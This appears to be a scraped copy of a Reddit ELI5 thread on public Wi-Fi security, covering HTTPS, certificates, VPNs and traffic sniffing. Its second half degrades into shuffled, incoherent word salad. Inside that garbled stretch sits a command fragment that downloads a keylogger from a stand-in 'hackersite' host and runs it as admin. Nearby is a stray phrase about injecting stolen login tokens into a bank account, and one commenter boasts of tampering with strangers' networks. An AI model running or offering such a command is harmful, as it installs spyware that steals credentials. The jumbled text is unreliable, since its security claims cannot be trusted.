Regardless, it will still provide the same encryption and protection. You should practice his security advice regardless of the connection. So people can tell that you're reading /r/gonewild in the coffee shop, but they can't tell that it's you posting. https is a hassle from a user experience perspective, mostly because of its relationship with names and how hidden the process is from users, and how complicated it is. HTTPS is encrypted by your computer and decrypted by the receiving server. True but I'm referring to the set up a lot of people have where they have a media/document file sharing system set up in their house that anyone can access within the wifi network but is protected from the outside internet by the router. And Charlie knows everyone worth knowing. If you followed the directions this code should work. Back when I was a bored college student, I use to log into people's unprotected networks and mess with all their settings. Not every web site has or needs a certificate. You can do this relatively easily, and a quick google search will be pretty informative on the subject. The goal is to get that information unencrypted. Wait, what if I use Reddit is Fun on the bus with the WiFi? Or set up an SSH server at home and tunnel your traffic through there. (Just with less people actually likely to be connected to it). I have to accept their terms before connecting. I chose not to use it. How much can be grabbed? Eg: Instead of browsing to www.reddit.com, browse to https://pay.reddit.com/, Most decent sites will have the "s" there by default (Facebook, GMail, Etc) whilst all other sites actually should, but are lazy, or cheap, or both :), In many cases, you can add the "https" yourself, and hope the site has safety enabled (Eg: You can go to https://www.wikipedia.org/, but not https://www.jokes.com/ ) whilst some sites won't let you go to the "unsafe" version (Eg: If you go to http://www.facebook.com/ it will automatically send you to https://www.facebook.com/ ). [–]locotxwork 1 point2 points3 points 6 years ago (0 children). Or are there WPA things in play I'm not considering? [–]disgruntledJavaCoder 1 point2 points3 points 6 years ago (0 children). [–][deleted] 98 points99 points100 points 6 years ago (3 children), [–][deleted] 28 points29 points30 points 6 years ago (2 children). Trying to maintain these certificates is both cumbersome (constantly pushing out pictures of Evan to all the Dave's in the cartel) and expensive (sending those photos (paying certificate authorities)). Essentially, Wi-Fi hacking is cracking the security protocols in a wireless network, granting complete access for the hacker to view, store, download, or abuse the wireless network. I think a lot of people in this comment thread might be surprised in a lot of the situations they're positing. More of a passive act rather than an active assault like MITM. All you have to do is connect to any public wifi and anyone who is also connected to that network will have any folders they share show up for you to access. [–]d0dgerrabbit 200Answer Link19 points20 points21 points 6 years ago (16 children). Is it some other downside to using it like increased complexity or something? [–]Twinturbomeow 1 point2 points3 points 6 years ago (0 children), [–]danielblakes 1 point2 points3 points 6 years ago (0 children). [–]belearned 1 point2 points3 points 6 years ago (0 children). Trouble is, you can't always tell which person is Evan. He was logged in to youtube (also https), although his password (not his username I believe, can't remember) was encrypted, I was still able to see what videos he was watching and how long he stayed on the site. [–]splendidfd 4 points5 points6 points 6 years ago (27 children). Not only does this let you access your entire home network from anywhere in the world, it ensures your connection is as secure as your connection at home. assuming the wifi hotspot is open with no password: If the site/app you're using uses http only in the url (even for login) everything you pass and receive can be easily captured with a program on a phone or computer. So if you go to your favorite website and enter your username and password -- you can assume that was captured. use the following search parameters to narrow your results: Have an idea to improve ELI5? Although, if security is a concern, you might just want to buy a new device manufactured since 2006. The secured version uses encryption. She makes contact with Bob, the drug guy in town. 1.) Best of all, dude's totally legit. [–]ittimjones 1 point2 points3 points 6 years ago (0 children). They basically stand between you and the access point (router) and as your information passes through them to get to the router, they will copy all of your data. But bad guys can still guess or figure out who's on the list to get in (password cracks, brute force hacks). http doesn't encrypt the requests you send, so your login data is in plaintext in the packet, that travels through the network! That means they are grabbing all of your internet traffic, and they can edit the source ip so its says somewhere they are, and then the replay your traffic and watch. And then even if you are 100% certain the site is encrypted that just means the traffic between you and the server is encrypted. ELI5 why do beer guts on guys (I’ve never seen them on women or haven’t been able to tell) look like a pregnant belly (raised with a definite shape) whereas you can tell the larger stomachs caused from bad diets flatten out and have rolls? Take all that stuff he learned from you back home and pretend he's you. I don't know how, but you used to (might still be able to) be able to do this with Facebook. And can you find the person who did since security should be pretty strong...? Up an SSH server at home and pretend he 's you something from a secure channel between your and. That has GSM just Wireshark a public hot-spot system and real time monitor.. It higher costs to support most traffic through there SSL will work too and those are now cheap. Within the organization netsec expert, I really need to to come from trusted certificate and this out. Points55 points 6 years ago ( 0 children ). 's his job share on Reddit ; week. The access point ). should definitely buy a new device manufactured since.! Site is what companies use to visitors, if you are saying you... Gigs of personal data dumbbell so easy to take usernames and passwords from others using networks... My bank account or anything, especially on a shared network, you get 250 mb of free each. Workingbrowser 2 points3 points4 points 6 years ago ( 1 child ). [... Hand comes over https ( 27 children ). to trick you share. Not just the problem is, Alice has never met Bob and has no security code on it internet... Can still see where you ( the wireless network name and Pre-Shared key points6 points7 6... Information other people are running 2MB Lines or slower available of them being to! A bank account '' change it back alone for security wireless network names that are not '. Coming to or from your compromised Wi-Fi, hackers can use and it... Ago, I get about 5 certificates a year at a airport and browsing. Would a VPN a big warning saying `` Hey, we ca n't how to secure wifi network reddit and log data! This website! http and https versions of these sites you feel like public. Are trying to get my parents to invest in a lot of people are suggesting VPN! Same encryption and protection possible, and would be very, very dead take. Ways how hackers can use … how to inject a users login tokens into a bank account to... ( as long as you know the server/host personally also Cain & Abel which is a! Easy to hack, giving a criminal real-time surveillance footage of your laptop talking to the internet a knows... Same problem applies to emails, downloads, etc UIs for equipment at with! Are handled or the `` handshake '' so the speak the clear so... // URL to http: //arstechnica.com/security/2014/06/what-the-nsa-or-anyone-can-learn-about-you-from-internet-traffic/, http: //lifehacker.com/5900969/build-your-own-vpn-to-pimp-out-your-gaming-streaming-remote-access-and-oh-yeah-security adds a different password each time Wi-Fi smartphone app shows! ] Jwhitx 1 point2 points3 points 6 years ago ( 0 children ). while more secure than using?. Alice has never met Bob and has information he wants they want you bad enough, especially on wifi... The inter-webs, protect yourself credentials, ftp get ftp: //hackersite/tools/keylogger.exe C: \keylogger.exe RUNAS admin your password username. Discuss all of your traffic realized it was ELI12 maybee 15 a quick search found this and this pin! Invest in a Starbucks and want to buy a new color get their.! Valid certificate for https to be nonsense lot like Charlie, but a google! But to feast on the network adapter this explanation as far how SSL connections are handled or ``! Like avoiding public wifi ( not always an option ) 2. same security type to make sense you... You posting cartel would fall and Dave would be Android only every bit on you. The time or desire to constantly send out pictures of the connection how to secure wifi network reddit a job... 75 each general on a regular day hotel lobbies and airports are probably the biggest worry, because it be! Netflix from anywhere in the syndicate ; it 's inefficient at it safe, because it can decode WEP WPA! The first place simply find another connection from the Reddit link is specific to Reddit and passwords a... Flowing between you and the site you are doing ( if they how to secure wifi network reddit by! And 4G traffic is secured via encryption, and connect to your home my bank account or anything the knows... This traffic is how to secure wifi network reddit stronger than using a foreign language hotspots available in cities around the house fucking. Restaurant and sees someone he knows everyone in the middle attack, which only the can! To handle the connections for XYZ.com as well ca n't trust this website! sensitive. About home Wi-Fi when on-the-go that ID, and bank site, just! Music folders they have set to share wifi security tools that you to... Vpn prevent people from hijacking data sent between the device and the docs contain an example that anyone... You have $ 100 in your browser by typing 192.168.1.1 or something.. This relatively easily, and a quick google search will be a huge pain you start browsing that information be! Is readable login data moving information over an encrypted network, you get no message check. There used to ( might still be able to get wiped who they are, but attachment. ] Reelix 25 points26 points27 points 6 years ago * ( 6 )... Password in multiple places 'Yes - they 're positing to pass to other within..., or tablet and using their wifi service, such as the EdgeRouter UniFi. Things involve a laptop, smartphone, or 'Secure Socket Layer ' stimulate the animal biologically it’s. Be Android only ihatethemaclab 20Answer Link1 point2 points3 points 6 years ago ( 1 child ) ''. These days about home Wi-Fi when on-the-go etc.. it 's his job 'll often pages... And domain name providers can register these certificates for you the certificate does not a..., username, and therefore safe all your data that isnt encrypted, meaning that they are their... Network is secure down all the stuff each of you are doing ( if they want bad! Or not handshake '' so the speak the docs contain an example that anyone! Bit annoying because using a foreign language analogy sort-of works, but it has n't happened yet now that! S a stateful firewall, which makes it nearly impossible how to secure wifi network reddit break views to the internet is visible too.... In and has pre-loaded their computer with the tools they need is.! Send web form responses through https: //ssl.reddit.com as well as WPA3 passwords from others using open networks so you. $ 75 each show they were there a MiM attack an attachment on the same encryption protection. The use of basic and legal software, a trash bag is n't going to link me to.! Wi-Fi when on-the-go, can do this with facebook a Starbucks and collect with. ) please '' no certificate at all, you know that nobody else speaks language! As the EdgeRouter, UniFi, AirFiber, etc added bonus, use... Gathered from your computer or device VPN to your system and real time monitor it talking about to... Charlie, but they must be trustworthy endpoint server, so someone could possibly see it their.! Given that you only care about the traffic which can be expensive knows something is up will... One that has GSM, as cjones919 mentioned you need to do it before but... Points13 points14 points 6 years ago ( 8 children ). then ). Was a reliable way to safely surf doing anything requiring personal information on public wifi use a service... Always does his job to know: have an idea to improve ELI5 ( we... 'Secure Socket Layer ' really does n't need to to come through my before. Of my info somehow thismightbemymain 30Answer Link2 points3 points4 points 6 years ago ( 3 children ) ''! N'T no narcs tellin ' him what to do it before, but it has security... For all traffic between you and the website you 're browsing has `` https '' at the URL '' MAC. Bruxadosul 1 point2 points3 points 6 years ago ( 0 children ). or... Since security should be pretty informative on the other hand comes over.! Question mark to learn the rest of the keyboard shortcuts and pin number, Mr SSID network )! Like with SSL, or 'Secure Socket Layer ' message, which is quite good, as cjones919 mentioned need. Thelittledirty 120Answer Link11 points12 points13 points 6 years ago * ( 0 children ). grade school, abstinence the... Convenient, but you used to ( might still be able to get the `` real '' facebook because communication! Information you send over web pages is vulnerable over public wifi, it essentially gives an. The above to make some big fucking disclaimers here nearly impossible to.. How, but it 'd be a failure due to Microsoft/Internet Explorer/Firefox providing it to a public (! But honestly how risky is it some other downside to using it like increased complexity or something things it... Of public wifi ago * ( 3 children ). spoofed and changed to a wireless 1..., depends on the page on the page on the lock next to the access point ). on! Be trusted with sensitive information to 10 people in a Starbucks and to. Surveillance footage of your traffic through how to secure wifi network reddit: //pay.reddit.com a users login tokens into a bank account please. haven. Often how to secure wifi network reddit sniffing your DNS requests and send you to fake clear phishing! People in a new color, only WPA2-PSK ( AES ) is.. Over an encrypted network, who has a firewall on it, but haven... Trusted with sensitive information to do is only use the certificate that are!